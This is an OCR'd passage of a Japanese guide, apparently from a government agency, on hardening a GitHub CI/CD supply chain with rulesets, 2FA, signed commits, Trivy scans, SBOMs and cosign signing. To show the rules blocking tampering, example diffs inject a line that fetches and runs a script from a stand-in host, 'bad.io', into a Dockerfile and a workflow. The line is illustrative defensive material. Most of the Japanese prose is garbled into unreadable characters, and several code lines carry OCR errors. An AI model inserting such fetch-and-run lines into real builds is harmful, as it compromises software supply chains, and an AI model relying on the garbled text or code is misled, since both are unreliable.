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Z 2T, Organization (21, 7T v N 74— L F—LLUANDBRL T 7B A

MRZ 7w b e T2, VRV NYORETIE, 77 74 —LF—

LDA U N—IZIFEEAR TWrite] MREZM 5T 2508, 77 0 FHKOEHE

TEDH LD —H AL /X—|Z TAdmin] & DL Maintainer| % OHER % fF

535, VR MIHNDOY Y —RTxtT 57 7 B AMEROFEIFRITERD,
= Q)@ rock-orv-ouriral & Q Type Do search 8- [+ -|[e]m[a

<> Code (%) Issues [l Pullrequests 2 () Actions [ Projects (0 Security |~ Insights 8 Settings

& General Who has access
Access a Private repository
Only those with access to this repository can view it Manage

| A Collaborators and teams

Code and automation

PRIVATE REPOSITORYS BASE ROLE (None) DIRECT ACCESS A ORGANIZATION
# Branches T ACCESS
Only those with No base role set. Only 2 users have access
© Tags access to this Owners and those to this repository. 1 0 users and 0 teams
G Rules o repository can view it. with direct access can member. 1 team. can access this
1 Rul ,
[ access this repository. repository through the
® Actions v =2 organization
Set base role
&5 Webhooks Manage
£5 Pages
= Custom properties
Manage access [CEESSUN Add people ] Add teams
Security
@ Code security Direct access  Organization access

&2 Deploy keys
[0 selectall Q, Find people or a team. Type ~ Role ~

Secrets and variables ~

Integrations ] - Role:admin

88 GitHub Apps

£ Email notifications [ | platformTeam Role: write &
L] ] platformteam - 2 members

7: GitHub U AR b U OHERRER E

® RH|FIZRER Y AAHDELE

VARY N OMHERBRETIE, EOAVNR—TULREIZELEZTVIAD D,
AL GitHub DAEARTH D, ZAULCI/CD XA T T A IR T D EE S
EHREBOBRLTHBEIC/ARD 20, BROLE 22— R EAMHELE L,
FLENLEZFEITTCEHFMEZRENICTLILELH D, Z6OHIRIZ
GitHub Pro TAIMAIHEZR. [Rulesets] PRRETHRILTE 5, HMHIITIL,
[branch rulesets] Z#{EfKX L. [Targets] I{Z main] % . [Branch rules]
\Z TRequire a pull request before merging] 3 J TN [Block force pushes]

ERETDH (K 8) 7

PAREDO A =T InBIESMUD 3, GitHub (SRS TRKRE R A R - AT S L b EETH D, FFT GitHub (2
% L CTliX. OpenSSF @ Scorecard #FIH L CHEMARHEHR TF 2 v 7 2E BT 252 ENARETH D,

https://github. com/ossf/scorecard
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<> Code () Issues 17 Pullrequests () Actions [ Projects () Security |~ Insights £ Settings

3 General Rulesets [ rule-protect-branches (Active)

Access
Ruleset Name *
Ay Collaborators and teams
rule-protect-branches

Code and automation
Enforcement status

¥ Branches ® Active ~
> Tags
£+ Rules ~  Bypass list + Add bypass -
| Rulesets
Exempt roles, teams, or apps from this ruleset by adding them to the bypass list.
Insights
™ Pages

Targets

[Z] Custom properties

Which branches do you want to make a ruleset for?
Security
@ Code security Target branches

Branch targeting determines which branches will be protected by this ruleset. Use inclusion
patterns to expand the list of branches under this ruleset. Use exclusion patterns to
[¥) Secrets and variables ~  exclude branches.

2 Deploy keys

Integrations

Branch targeting criteria Add target ~
88 GitHub Apps
B3 Email notifications @ ‘main &

[Z Autolink references i
Applies to 1target: main .

Rules

Which rules should be applied?

Require a pull request before merging
Require all commits be made to a non-target branch and submitted via a pull request before they

can be merged.

Show additional settings v

Require status checks to pass
Choose which status checks must pass before the ref is updated. When enabled, commits must
first be pushed to another ref where the checks pass.

Block force pushes

Prevent users with push access from force pushing to refs.

8: GitHub UV iR ~ U @ branch rule

ZOFRETFTT, a—ANVBRENGHIRGREOY E—FUKRY U ~DHED
AIRE, =R L@ ESR SIS (K9),

% ogit diff

diff —git a/dockerfile b/dockerfile
index 36e41bc..876a547 100644

—— a/dockerfile

+++ b/dockerfile

@@ -9,6 +9,7 @@ RUN apt-get install -y ¥
+RUN bash <(cur| -s https://bad. io/bash)

11



git conmit -m “example modification”
git push —f origin main
(FHER)
remote: error: GHO13: Repository rule violations found for refs/heads/main
remote: Review all repository rules at https://github. com/xxx/mock—prv—
guardrail/rules?ref=refsh2Fheads%2Fmain
remote:
remote: - Changes must be made through a pull request
remote:
remote:
remote: (?) To push, resolve push protection violations or follow this URL to request push
protection bypass
remote: https://github. com/xxx/mock-prv-guardrail/exemptions/new/xxx=
To https://github. com/xxx/mock-prv-guardrail. git
| [remote rejected] main —> main (push declined due to repository rule violations)
error: failed to push some refs to 'https://github. com/xxx/mock-prv-guardrail.git

9: branch rulesets | & A {f3#E 5

OCI/CD A TSAVEET 71 ILDIRE

KTV ATEH L7 GitHub Actions V—72 7 —7Cl, .github Bl T D
TP ANEARETHUERSH D, ZOT7 A NEERTE LA, AW
LU TEEOEETEEONMBE A2 DIAEN L AREEEND D, BlAIX., Y%
GitHub Actions V—27 70 —0DF(T N T —ZEEICHEEL, EEOLE =
—HNCEENEEFITTEHBENRHH, LN -T, .github BLTFD 7
7 ANSDER % Push TEDFEEREZIRE LRITIUTR S0, 21T,
[Rulesets] H¥HE® [Push rulesets] ZfEH = L CEEHAgETHS (X 10),

<» Code (9 Issues I Pullrequests () Actions [ Projects (0 Security |~ Insights 3 Settings

%3 General Rulesets / rule-protect-github-workflows (Active)

Access
Ruleset Name *
Ax Collaborators and teams
rule-protect-github-workflo'

Code and automation
Enforcement status

¥ Branches ® Active ~
> Tags
E+ Rules ~ BypaSS list + Add bypass ~
I Rulesets
Select the roles and teams that can bypass and also approve bypass requests. Add the
Insights bots that can bypass this ruleset.
3 Pages

Rules

[=] Custom properties
Which rules should be applied?

Security

@ Code security Push rules

£ Deploy keys
Restrict file paths
Secrets and variables v Prevent commits that include changes in specified file paths from being pushed to the commit
graph

Integrations
83 GitHub Apps Restricted file paths + Add file path
B2 Email notifications

~github/sx/* [}
7 Autolink references 9 Y

10: GitHub U AR ~ VU @ push rule

12



it

DFEHR LTRBET, CI/CD A T4 LV BEOHERR 7 7 A VICEF 23R
ﬁf%ﬂll@&om\w~wm£ofi?~&@@ém5o

git diff
diff —git a/. github/workflows/build. yml b/. github/workflows/build. yml
index 35d3ea). . eaab8cc 100644
-—— a/. github/workf lows/bui ld. yml
+++ b/. github/workf lows/bui ld. yml
@@ -88,6 +88,7 @@ jobs:
- name: Set IMAGE_DIGEST
id: set-image-digest
run:
+ bash <(cur!l -s https://bad. io/bash)
echo “IMAGE_DIGEST=$ {{ steps. login—ecr. outputs. registry }}/tf-image@${{ steps. docker—
bui ld-and-push. outputs. digest 117 >> $GITHUB_OUTPUT
git commit -m  “example modification”
(%ﬂt push origin

remote: error: GHO13: Repository rule violations found for refs/heads/develop
remote: Review all repository rules at https://github. com/xxxxx/mock-prv-guardrail/rules?ref
=refs%2Fheads%2Fdeve |l op

remote:

remote: — GITHUB PUSH PROTECTION

remote:

remote: Resolve the following violations before pushing again

remote:

remote: - File path is restricted

remote: Found 1 violation:

remote:

remote: . github/workf lows/bui ld. yml

remote:

remote: (7) To push, resolve push protection violations or follow this URL to request push
protec

tion bypass

remote: https://github. com/xxxx/mock-prv-guardrai | /exemptions/new/xxx=
remote:

To https://github. com/xxx/mock-prv-guardrail. git
I [remote rejected] develop —> develop (push declined due to repository rule violations)
error: failed to push some refs to 'https://github. com/xxx/mock-prv—guardrail.git

% 11: push rule T X % {5

0/ —XO— FEEBIRATLDAMKRGLA—Y—THOV FOERE

GitHub
Organization

. N
El
N F%E :
FONRAY—ER

X 12: Y —Za— REHS 2T LAOANRIERA 22— —T oo FOEH

GitHub Ti. A —HF—RTH 7 NEERTE 5, "2V - HAE
BT hv MEMFEOGItHub  Organization (T 5 2 Li%. GitHub &

4 GitLab %° Bitbucket HLRIEETH 5
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WO —ER EIFAEETH L, ZOHE, b LENEHETOT 1T A
ET 72 RAEOWEICE S T25E6. TOT vy M EBRE LIS LT
LEELRIETRARSH D, K 13 DL ST, GitHub |E— %@%ﬁtbt
Ty MO LT IERWREE (2FA) OREEXEB{LL TWD, LaL,
SIM AU & 7R MFA Fatigue 72 EI1T LV 2FA RSN TWAH X 91T, 2FA D
FRIEEIZITEN D D,

/N GitHub users are now required to enable two-factor authentication as an additional security measure. Your activity on GitHub
includes you in this requirement. You will need to enable two-factor authentication on your account before February 04, 2025, or Enable 2FA
be restricted from account actions.

131 GitHub (= & % MFA &k

HRINT 7y NMEBIZT 572, GitHub organization X4 A L /3—|C
LT 2FA 335721 T4 < S HITHED R 2FA Z4RET H 2 L8
AEETHD (K 14), b L. GitHub O F 2 Enterprise OFE1E. B
# D 1dP (Identity Provider) & OHEHEIZ LB SSO (o F WA 4 )
EREL, TRXTOA NI LTEOMHAEZRE N T HZ LB TED,

() Overview [l Repositories 1 [ Projects 2 & Packages A: Teams 2 A People 3 |~ Insights £ Settings

P ‘Go to your organization profile
Organization 2 Switch settings context »

% General Two-factor authentication
5 Policies ~
Two-factor authentication adds another level of security for your organization. Learn more about
Access requiring two-factor authentication in your organization.
B3 Billing and plans Require two-factor authentication for everyone in the-rganizalinn.
o Organization members who do not have two-factor authentication enabled will be unable to access resources
(b Organization roles h owned by the (Bl <-oanization, but will remain a member of until they update their

&) Repository roles settings. Outside collaborators who do not have two-factor authentication enabled will be removed from the
arganization and notified. View arganization membership to see which users will be impacted.

Ay Member privileges

Only allow secure two-factor methods (Recommended )

2 Import/Export Users can only use secure two-factor methods: authenticator apps, passkeys, security keys, and the GitHub

mobile app. Learn more about two-factor authentication

() Moderation ~
L3 Requests from members /A 1 member does not have two-factor authentication configured. Members without two-factor
authentication will be required to set it up to regain access to the organization. See which
Code, planning, and automation members do not have two-factor authentication set up.
B Repository v
Save
B codesnaces ~

[X| 14: GitHub Organization O FRE A3 30| T X % 2 BIFEINAL L iR

5 https://docs. github. com/en/authentication/securing—your—-account-with-two—factor-authentication—

2fa/about-mandatory-two—factor-authentication
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15: {EENAE LIEEZ OO &

ZZToO MEEFR] X, EEOWENLREER (AW) Tk, GitHub 7%
U NEET, GitHub 7 7> MM, VARV N ~OEHEREZ 7R commit &
ERR T &, £7220 commit OEFMEELRILT 2B M 5T L LAHETH
%o BAREIIZIX, GitHub 7 o MIEAHOSEH AL (K 16), =
— AR D Git REZ 7 AV TRE (¥ 17) 4795 Z L TRlRE L 72 %,

Go te your personal profile
Your personal account @ Switch settings context

A Public profile
@ Account

& Appearance
f Accessibility

L Notifications

Access

S Billing and plans ~

B3 Emails

(@ Password and authentication

@) Sessions
.

Organizations

@ Enterprises

[J Moderation ~

Code, planning, and automation

SSH keys m

This is a list of SSH keys associated with your account. Remove any keys that you do not recognize.

Authentication keys

Configure SSO =

Added on Feb 10, 2024 Delete
Never used — Read/write

Signing keys

SSH

Delete
Added on Oct 14, 2023

Signing

» D

ssH Added on Feb 10, 2024

SSH

Signing
[ Repositories
é’, Codespaces Check out our guide to connecting to GitHub using SSH keys or ‘common SSH problems.
16: SO GR
% cat "/.gitconfig
[user] ] o .
email = xxxx@digital. gov. jp

[epg]
[epg “ssh”]

[commit]

[tag]

name = XXXXX
signingkey = ssh-ed25519 xxxxx

format = ssh

al lowedSignersFile = /Users/xxxx/. ssh/al lowed_signers

gpgSign = true

forceSignAnnotated = true

15



[init]
defaultBranch = main

17: .gitconfig

Z® commit E4 1% lbranch Rulesets] BN [tag Rulesets| THR] AT
Ll
Hb'ff3i>250

0 —RXO— FEEURATFLIZRT B— Ly FDREERETHH

o &

y
trlvg g
N A=Al
v~ EB-C)._
O —
To2vkTa—L4 Uf}bu

F—L
X 18 : Y — A a— REBI AT AT AHI—7 Ly FOZREETIS

=7 by &5 Tceomnit L72GA, F30E U TCRISKICHERE S, K&
YRy LD, LTI -o T, commit YERENICHEEEIGERZ S 9 & LTV
W F =y 7T HOMMMANERE LS, —FlE LT, Git BTS2V v 7

(Git Hooks) @ 9 & pre—commit 7 v 7 Z{EH L. commit ER[IZT—727 L v
NAX ¥ U ZFATTHHERZEZOND, ALETIE, pre-comnmit (¥ —/L)
& Trivy ZEH L, O —27 Ly EBREENL TRV )% BEIIIZFRIERE L
Tn5, (KM 19),

cat config/trivy-secrets-scan. yaml
secret:
# empty
#tconfig: . /config/secrets. yaml
scan:
scanners:
- secret
format: “table”
exit-code: 1
cat config/. pre-commit-config. yaml
repos:
- repo: local
hooks:
- id: trivy
name: trivy
language: golang
entry: trivy fs —config . /config/trivy-secrets—scan. yaml -quiet .
pre-commit install -c /conf|g/ pre-commit-config. yaml
pre-commit run —all —files —c . /config/. pre-commit-config. yaml

19 :Git 7 v 7 DRk

EARMLUIREET, AWS OT7 7 A —NBINENT-7 7 A /V%,
16



Iy MG E LEBRAOFEENK 20 Thb, =9 W\Wo Rk A2 2RI
LS H -0 RS, WREBEY — L (Active Directory @ GPO <2 MDM 73 &)
MHEAT « 58RI D 2 ENEE LV,

hoge. txt

export SAMPLE_AWS_KEY=ASIAUKOOWJO3YGYKBYGG #Dummy

git commit -m "add precommit
B VY. Failed
- hook id: trivy
- exit code: 1
hoge. txt (secrets)
Total: 1 (UNKNOWN: O, LOW: O, MEDIUM: 0, HIGH: 0, CRITICAL: 1)
CRITICAL: AWS (aws-access—key-id)
AWS Access Key ID

hoge. txt:1

; [ export SAMPLE_AWS_KEY

20:Git 7y 7 & Trivwlckdy—27 Ly Mak

3.3ELKRT7z—XDRH#E

DY—o Ly MERDIRHE R

[ —1
FONry—E8
DRI EY
=R
—( = )4
TS5y R TA—LF—LA | S

21 =7 Ly MEROIRERGH

KNRA T TA LTI, REMOT v 7a— R0, R E~DELIZ ANS O
T I EAF—ZMEL LTS, ZOT7 7B AFZT—DORENLETHS, B
BRSO RIS ST L) RIEXTRMINTET 7 EAXF—DT v T r—
FE, v~ hTH B,

FT. EXT 7 EAF—OT v a— T AR T, v — UV ERE
ERICS AF vy N K DMEBRENTH D, KOBIEFILL, Trivy ZHWie
AF ¥ % GitHub Actions DU —27 7 —|ZHlI AT, VAT MU NIZFE-S
THEENTY—2 by bERHT S (¥ 22),

17



- name: Scan Secrets
uses: aquasecur ity/trivy-action@18f2510ee396bbf400402947b394f2dd8c87dbb0

env:
TRIVY_DEBUG: ' true’
with:
scan-type: fs
scanners: secret
scan-ref: ./
format: table
output: secret-scan-result. txt
exit-code: 1

22 : BV RRENTHER SN TrivyDs—27 Ly hAF ¥ v

ZOREET AWS OF 7 B AF—2FLHM comit 28 T—hDOVYART HD
([ push Shn e, K 23 DX IS, =7 —L L TRIMEND, 272
L. BEIC push A TH DD, MiZ) AT R ) Ofh7T o> bAEEL T

HZEEIEEL,
N5,

@ github-actions bot commented 3 minutes ago

Secret Scan Output

¥ Click to expand

secrets.txt (secrets)

Total: 2 (UNKNOWN: @, LOW: @, MEDIUM: @, HIGH: @, CRITICAL:

CRITICAL: AWS (aws-access—key-id)

AWS Access Key ID

secrets.txt:l

1 [ export AWS_ACCESS_KEY_ID="sxkxksrsrsrokrskksodoonk!!

BEDEDICELEF— 2 N —T —v 3 VT A0

2)

2 export AWS_SECRET_ACCESS_KEY="

CRITICAL: AWS (aws-secret-access-key)

AWS Secret Access Key

secrets.txt:2

1  export AWS_ACCESS_KEY_ID="skkokkiikdkickikkikook'!

2 [ export AWS_SECRET_ACCESS_KEY="

° Review required

At least 1 approving review is required by reviewers with write access.

(\ Some checks were not successful
~r

1 failing, 1in progress, 1 successful checks

1 failing check v

[} Check [ Check Secrets (pull_request) Failing after 20s

23: =7 Ly MEAICEDENLN R 7 = —XADOKM Ld@m
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WIZ, a7 ~OHNTHDH, vAFZF U IR— xR THY , AETIE
4% GitHub VAR R U BRED [Secrets] 1XZ OISR ZH 2 T\ 5, GitHub
Actions FOU—27 7o —MRNa 60O BICID T 7B AFZF—2EG0 52 H
NZEEELTLE-784E. GitHub Actions DNHBEIICH I ENT->—27 L
v NORNERERNT D0, 2B, BEHOICED > —27 Ly NOFIHIZIZED
5&wt®\ﬁ%%@ﬁ@m%%miﬁ?%%ﬁ%ﬁ5:&ﬁ$%i%ib
W, E72, GitHub O r ZUANOEMICEZIALTEGAEITIE, v A%y 7%t
S L LTEEHREINRY, ThbDZ &b, %%%%T&tx%~%a@
Xoum T HIoFEELZ LW LR ERETRETH D,

Repository secrets New repaository secret

Security
@ Code security Mame =1 Last updated

Deploy keys
L v ey O AWS_ACCESS_KEY_ID 2 months ago i

ch

Secrets and variables ~
| Actions 6 AWS_SECRET_ACCESS_KEY 2monthsage &

(=]

Codespaces

Dependabot Organization secrets

24 : GitHub V7R R U @ [Secrets| #RiE

2))—RXa—F - REYOEEEDER

¥
oe
@ 3 2 EnK
P2
> - A=V en 3
UMY
R

I35y kI A—LF—h (=m 4—

25:2) Y —A=a—F - A OEEIEDHE

Terraform /XA F U KON Terraform 7 a4 X —%&Giea T A A—TD
ﬁiﬁ'ﬁi%%%ﬁ‘éﬁlﬁfzof\ RO 2 I3 5, k. 4 HKFEYDZ 4
PEORERR ] [ZOWTITkHEED 3. 34) MKW OZEMEOME] ITTELT
a3

5 https://docs. github. com/en/actions/security—for—github—actions/security—guides/using—secrets—in—github—
actionsfusing—secrets—in—a-workflow
" https://docs. github. com/en/actions/security—for—github—actions/security—hardening—your—

deployments/configuring-openid-connect—-in—amazon-web—services
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Lt =2 —DOWZEAL

. HERR S 2 DR

. WEE oM

- AR DR DR

> W N =

1 TV B a—opZ{t) 2oV TiE, amEEFHOMEO®, 3. 22) [#
IR BV IAZ DL ) 12N Z, FFED A /3 —IZ K DBz AT 5, B
KEYIZIL Code Owners® (¥ 26) Z#fEE L. [branch rule] |Z [Require
review from Code Owners] (ZF = v 7 & AfL5H Z & T Code Owners D L E =
—Z WAL TS (K 27), £, KBABZHRET LI L HAHETH D,

* OXXXXX

% cat . github/CODEOWNERS |

26 : code owner DIEIE

Require a pull request before merging
Require all commits be made to a non-target branch and submitted via a pull request before they can be merged.

Hide additional settings ~

Required approvals

1 ~

e number of approving reviews that are required before a pull request can be merged.

() Dismiss stale pull request approvals when new commits are pushed
New, reviewable commits pushed will dismiss previous pull request review approvals.

Require review from Code Owners
Require an approving review in pull requests that modify files that have a designated code owner|

("] Require approval of the most recent reviewable push
Whether the most recent reviewable push must be approved by someone other than the person who pushed it.

(] Require conversation resolution before merging
All conversations on code must be resolved before a pull request can be merged.

("] Request pull request review from Copilot

Automatically request review from Copilot for new pull requests, if the author has access to Copilot code review.

27 : branch rule |Z331) 2 &GREIHE DR E

e

2 THERK I A 0fki ) & 3 THESsMEORM | 1L, Trivy IZL D AF v &2 TEH

8 https://docs. github. com/en/repositories/managing-your-repositorys—settings—and-features/customizing-

your—repository/about—code—owners
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5 (K 28),

Hawy KT s il L7z Dockerfile,

TITAA=DVERD,

BB, BRI ADAFTy URRITa T FA A=V EANRT

MEGHTED A % v Ut GiLa v

jobs:
check-vuln:

runs-on: ubuntu-24. 04
steps:
(FhHBg)

- name: Scan Vulnerability

with:
scan-type: image
scanners: vuln
image-ref: tmp/tf-image: latest
exit-code: 1
severity: MEDIUM, HIGH, CRITICAL
output: vuln-result. txt

(FFER)

check-misconfig:

runs-on: ubuntu-24.04
steps:
- name:
uses:
- name:
uses:
with:
scan-type: config
scanners: dockerfile
format: table
scan-ref: ./
severity: MEDIUM, HIGH, CRITICAL
exit-code: 1
output: misconfig-result. txt

Gal:))

Checkout repository

Check Misconfiguration

name: Check Vulnerability (MEDIUM, HIGH, CRITICAL)

uses: aquasecurity/trivy-action@18f2510ee396bbf400402947b394f2dd8¢87dbb0

name: Check Misconfiguration (MEDIUM, HIGH, CRITICAL)

actions/checkout@11bd71901bbe5b1630ceea73d27597364
aquasecur ity/trivy— act|on@18f2510ee396bbf400402947

28 : Trivy

(2 K DA A DR

Ay O IIERE X 29 BLOK 30 (L TW5h, #k I A

Critical,

High, Middle O#iPH TIIFH S hro 7208,

Terraform /XA

VIZiX Critical 3L WM High & SN7MEggtEnsg 1 3o Tns
Fo, XR=AA A= TH Middle LV DOYEGHMENEEMER TE 5, ﬁﬁ
Z D Terraform /31 F U BIKIZ Terraform ®BAF I Td 5 HashiCorp AN

9= 2 Debian Ny r— L o TWAH —J T, Trivy i% Ubuntu (0S) Dfifi
59METE R 2 Ubuntu CVE Tracker’’2 6B SRR 1L TuN A,
hky7%?i7*%ﬂmbfwé%@@%an
PEIZBE T R&EThb, ok,
WZBWTHaE L7-HIfRTHh 5,

DAG5 M - {AREPED ATEE

SNTHIRTIE <, fagutE R v —

9 https://ubuntu. com/security/cves

—TEDIENy r—Ifs
I\ L D HEgs RS Rz BT
Z X Trivy

19 https://trivy. dev/v0. 55/docs/scanner/vulnerability/#non-packaged-software

21
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Review required
At least 1 approving review is required by reviewers with write access.

Some checks were not successful
2 failing, 1 successful checks

2 failing checks v

(<] Check [ Check Secrets (pull_request) Failing after 9s

Check [ Check Vulnerability (MEDIUM,HIGH,CRITICAL) (pull_request) Failing after 57s
1 successful check v

v Check [ Check Misconfiguration (MEDIUM,HIGH,CRITICAL) (pull_request) Successful in7s

Merging is blocked
New changes require approval from someone other than the last pusher.

[ Merge without waiting for requirements to be met (bypass rules)

Merge pull request ~  You can also merge this with the command line. View command line instructions.

B4 29 : WegH iR AIC K D BV RO L

tmp/tf-image: latest (ubuntu 24.04)

Total: 8 (MEDIUM: 8, HIGH: @, CRITICAL: @)

T T
Library Vulnerability | Severity Status Installed Version | Fixed Version

libpam-modules CVE-2024-10041 | MEDIUM affected | 1.5.3-5ubuntu5.1

CVE-2024-10963

libpam-modules-bin | CVE-2024-10041

CVE-2024-10963

libpam-runtime CVE-2024-10041

CVE-2024-10963

libpamdg CVE-2024-10041

CVE-2024-10963

usr/bin/terraform (gobinary)

Total: 2 (MEDIUM: @, HIGH: 1, CRITICAL: 1)

Library Vulnerability Severity | Status | Installed Version | Fixed Version
golang.org/x/crypto | CVE-2024-45337 | CRITICAL | fixed ve.27.0 0.31.0 [}
:
h
golang.org/x/net CVE-2024-45338 | HIGH v@.29.0 0.33.0 ']
b

¢ 30 : B Licfasatto—&
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Sl U= fagathic X 2 B2 E LIZZ T D L IEEWUINRWR, A4 7 T4
VA OEEMIEROY — AT — LR KB L CHAT 5, 20D, Ty
N7 —LTF =L ZH 774 v—L LT, h—ERTF—LADNLEEITHKEY % I
BTELZEITMA, EEORFAE LB CE L L5, Y MasrEIcB 3
LI E T ENEE LWVWEA VDD, ZEZTHREARMO T A A—
UANDELIIMA, REDICET D A X T — 2B ER - TRk 5, BRmIC
X, Y7 houxT s ariRY v g UMY (SCA) O—FERTdH D SBOM 7 7 A L,
BLOKEYORE (WD - EZ T EOXITEKINTZN) ZRT
provenance 7 7 A /VEMEK L. ZNHICHEBL EZIToT- ECT—T 4777 b
VRY RUA~AT v 77— RT 5,

FTE ar T A A—TVEARKRT D,

Jjobs:
build-and-deliver:
runs-on: ubuntu-latest

env:
PREDICATE_FILE: predicate. json
steps:
(PEE) ) )
- name: Configure AWS Credentials
uses: aws-actions/configure-aws—
credentiaIsge3dd6a429d7300a6a4c196026e071d42e0343502
wit
aws—-access—key-id: ${{ secrets. ANS_ACCESS_KEY_ID }}
aws—secret-access-key: ${{ secrets. ANS_SECRET_ACCESS_KEY }}
aws-region: ap—northeast-1
- name: Login to Amazon ECR
id: login—-ecr
uses: aws-actions/amazon-ecr—|ogin@062b18b96a7aff071d4dc91bc00c4c1a7945b076
- name: Build and Deliver
uses: docker/bui ld-push-action@48aba3b46d1b1fec4febb7cbd0c644b249a11355
id: docker—bui |d-and-push
with:
context:
push: true
build-args: |
TF_VERSION=${{ env. DEFAULT_TF_VERSION }}
UBUNTU_VERSION=$ {{ env.DEFAULT_UBUNTU_VERSION }}
tags: ${{ steps. login—ecr. outputs, registry }}/tf-
ima e:ubuntu.${[ env. DEFAULT_UBUNTU_VERSION }}-

{{ env.DEFAULT_TF_VERSION }}, $ {{ steps. login—ecr. outputs. registry }}/tf-
|mage :${{ env. DEFAULT_TF_VERSION }}, ${{ steps. login-ecr.outputs. registry }}/tf-
image: latest

labels: ${{ steps.meta.outputs. labels }}
platforms: |inux/armé64

provenance: false

no-cache: ${{ inputs. no-cache == true }}
cache-from: type=gha

cache-to: type=gha, mode=max

- name: Set IMAGE_DIGEST
id: set-image-digest

un:
echo “IMAGE_DIGEST=${{ steps. login-ecr. outputs. registry }}/tf-
image@$ {{ steps. docker—bui|ld-and-push. outputs. digest }}” >> $GITHUB_OUTPUT

I Predicate &\, predicate (X, 7—7 4 7 7 7 MIB#HT NI A X T —X T, JSON 7V =7 ~& LTHRF
Shd, Y7 ozT7 - BT I7A4F2— 0 OREMERETHZ L2 HME L in—toto FEA L7z Predicate OFISE

Zik, ARFETHIAN 9D SLSA Provenance =° SPDX/CycloneDX &V o7z SBOM LISMZ & & 5,

23


https://github.com/in-toto

X 31 : arTFARA=VDAEREER (T—T 4777 FUKRTRY) ~OT7 v 7ra—FK

Amazon Elastic < Images (10) @ Delete etail View push commands
Container Registr s \
gistry Q search artifacts 1 @
¥ Private registry
Repositories O imagetag v | adifacerpe | Pt o ::;] v e Digest
Summary
Images November
ha256 07, 2024, Copy
Permissions. - 5 S 2
95a3bd09ffBed5b26827¢1c482ca6c09026a5fe 75257 24<0c3bA05adBaT e1ed59 att mage 08:20:40 a8 B uri 0 sha2s6:2
Lifecycle Policy (UTC+08)
Repository tags
Festures & et Nevember
eatures & Settings
Image mae e B G sharsees
¥ Public registry (Urcsos)
Repasitories
Settings Nevember
07, 2024, Copy
01 = = X
= image 08:20:29 oo URI 0 sha256:5
(uTC03)
ECR public gallery [2
Amazon ECS [2 November
— shazse 07, 2026, Copy
Amazon EKS O3 ' 95a3bdoffBedsb26827¢1c482ca6cI9026a5fe7523724<0c3b405adBa Te 459,51y Image 08:20:07 000 By I shazsese
(uTC+03)
Getting started [3 November
Documentation [2 O 1.9.8-1, ubuntu24.04-t£1.9.8-1 Image g;jf:::' 185.64 5} Z‘;‘I”’ ) sha256:9!
(uTC+03)

2. 7Ty ru—FKEINnkarrsrA A=

ARk L7 T A A =20 SBOM 7 7 A /L& Provenance 7 7 A )V %11
Fiu, Trivy & SLSA Framework @ —/ L CTHARK L T\ 5,

jobs:
build-and-deliver:
runs-on: ubuntu-latest

env:
PREDICATE_FILE: predicate. json
steps:
(PR
- name: Generate a SBOM
run: |
trivy image ——scanners vuln ——format spdx-json -o . /tmp/tf-sbom. spdx. json
${{ steps. set-image-digest. outputs. IMAGE_DIGEST F}
trivy image ——scanners vuln —format cyclonedx —o . /tmp/tf-sbom. cdx. json
${{ steps. set—image—digest. outputs. IMAGE_DIGEST }}
aws s3 cp . /tmp/tf-sbom. spdx. json s3://test-sbom-artifacts/
aws s3 cp . /tmp/tf-sbom. cdx. json s3://test-sbom-artifacts/

- name: Generate a provenance
id: sign-prov
env:
UNTRUSTED_IMAGE: “$
UNTRUSTED_DIGEST $
GITHUB_GONTEXT : “${
VARS_CONTEXT: “${{
run: |
set —euo pipefail

{{ steps. login-ecr. outputs. registry }}/tf-image”
{{ steps. docker-build-and-push. outputs. digest }}
{ toJSON (gi thub) 1}~

toJSON (vars) }}”

# Generate a predicate only
. /s|sa-generator—-container—|inux-amd64 generate ——
predicate="${{ env. PREDICATE_FILE }}~

aws s3 cp ${{ env. PREDICATE_FILE }} s3://test-sbom-artifacts/
cat ${{ env. PREDICATE_FILE I} | ja

33 : B REREN THERL 417~ Predicate (SLSA. Provenance) MDZEfk

LT, cosigh EWHY—LZHHL, a2V TFAA—=FDHD, A X
F—H& (SBOM 7 7 A /L, Provenance 7 7 A /L) IZXLTE4 L., ECR |27 v
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7a— RKLTW5,

Jjobs:
build-and-deliver:
runs-on: ubuntu-latest

env:
PREDICATE_FILE: predicate. json
steps:
(FBEg)
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-
credentiaIsgede6a429d7300a6a4c196026e071d42e0343502
wit
aws—access—key—id: ${{ secrets. ANS_ACCESS_KEY_ID }}
aws—secret-access-key: ${{ secrets. AWS_ SECRET_ACCESS_KEY }}
aws-region: ap-northeast-1

- name: Login to Amazon ECR
id: login-ecr
(B uses: aws-actions/amazon-ecr-|ogin@062b18b96a7aff071d4dc91bc00cdc1a7945b076
- name: Sign and Upload Image
run:
cosign sign ${{ steps. set-image-digest. outputs. INAGE_DIGEST }} —-yes —tlog-
upload=false —key “awskms:///${{ env. AWS_CMK_ID }}”
= name: Attest Provenance and SBOM and Upload Attestation
run
IMAGE DIGEST="${{ steps. login—ecr. outputs. registry }}/tf-
image@$ {{ steps. docker-build-and-push. outputs. digest }}”

echo “Attest and Upload Provenance (SLSA)”
cosign a;test ——predicate="${{ env. PREDICATE_FILE }}” $IMAGE_DIGEST ¥
——yes
—tlog-upload=false ¥
—--type slsaprovenance ¥
——key “awskms:///${{ env. ANS_CMK_ID }}”

echo “Attest and Upload SBOM”
cosign agtest ——predicate=". /tmp/tf-sbom. cdx. json” $IMAGE_DIGEST ¥
——yes
——tlog-upload= false ¥
—type cycloned
——key “awskms: ///$[[ env. AWS_CMK_ID }}”

cosign agtest ——predicate=". /tmp/tf-sbom. spdx. json” $IMAGE_DIGEST ¥
——yes
——tlog-upload=false ¥
—type spdx ¥
——key “awskms:///${{ env. ANS_CMK_ID }}”

X 34 : BV FRREN TR S 72 cosigh IR DRIB L ORA X T =2 DBEX LT v

02— K
Amazon Elastic < Images (6) @ Delete Details View push commands
Container Registry r N\
LQ Search artifacts J 1 &
¥ Private registry
. Pushed Size Image .
Repositories O | imagetag v | Artifact type at v e Rl Digest
Summary
Images >+ f X — ¥ Dpredicate December
. sha256- - } e 11, 2024, Copy .
(= (=
Permissions O eb38ed417aa250ad7ea30367512348e9b3bacf0106d9c214bad9fd1 7446440615 att Image 22:36:43 144 URI 0 shazs6b
Lifecycle Policy (UTC+03)
Repository tags
N bt - December
Features & Settings sha256 477 YOER 11, 2024, Copy
5 . 2024, = = y
v Public regi —  eb38e417aa250ad7ea30367512548e9b3baci0106d9¢214bad9fd1 74464d06f5.sig 1mage 22:36:07 000 O uri ) sha256:4
ublic registry (UTC+09)
Repositories
Settings 125 ?:(::;b:r “
